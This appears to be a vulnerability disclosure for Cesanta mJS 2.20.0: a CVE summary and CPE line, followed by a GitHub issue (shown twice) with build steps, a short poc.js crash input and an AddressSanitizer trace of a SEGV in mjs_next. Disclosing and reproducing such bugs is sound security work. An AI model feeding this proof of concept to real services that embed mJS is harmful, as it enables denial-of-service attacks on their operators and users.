Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_next at src/mjs_object.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
for (let y in { aa: 1, ba: 2, ca: 3 }) {
    Object.create.apply({}, [Object] 1)
}
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==35880==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x560c3e80fde0 bp 0xfffc60e0000000a8 sp 0x7ffdb0ad02e0 T0)
==35880==The signal is caused by a READ memory access.
==35880==Hint: address points to the zero page.
    #0 0x560c3e80fddf in mjs_next src/mjs_object.c:255
    #1 0x560c3e7bafed in mjs_execute src/mjs_exec.c:760
    #2 0x560c3e7c6a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x560c3e7c6a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x560c3e783909 in main src/mjs_main.c:47
    #5 0x7fd9390adb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x560c3e784449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:255 in mjs_next
==35880==ABORTING
```


SEGV src/mjs_object.c:255 in mjs_next
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV src/mjs_object.c:255 in mjs_next
Issue date:

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###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
for (let y in { aa: 1, ba: 2, ca: 3 }) {
    Object.create.apply({}, [Object] 1)
}
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==35880==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x560c3e80fde0 bp 0xfffc60e0000000a8 sp 0x7ffdb0ad02e0 T0)
==35880==The signal is caused by a READ memory access.
==35880==Hint: address points to the zero page.
    #0 0x560c3e80fddf in mjs_next src/mjs_object.c:255
    #1 0x560c3e7bafed in mjs_execute src/mjs_exec.c:760
    #2 0x560c3e7c6a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x560c3e7c6a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x560c3e783909 in main src/mjs_main.c:47
    #5 0x7fd9390adb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x560c3e784449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:255 in mjs_next
==35880==ABORTING
```


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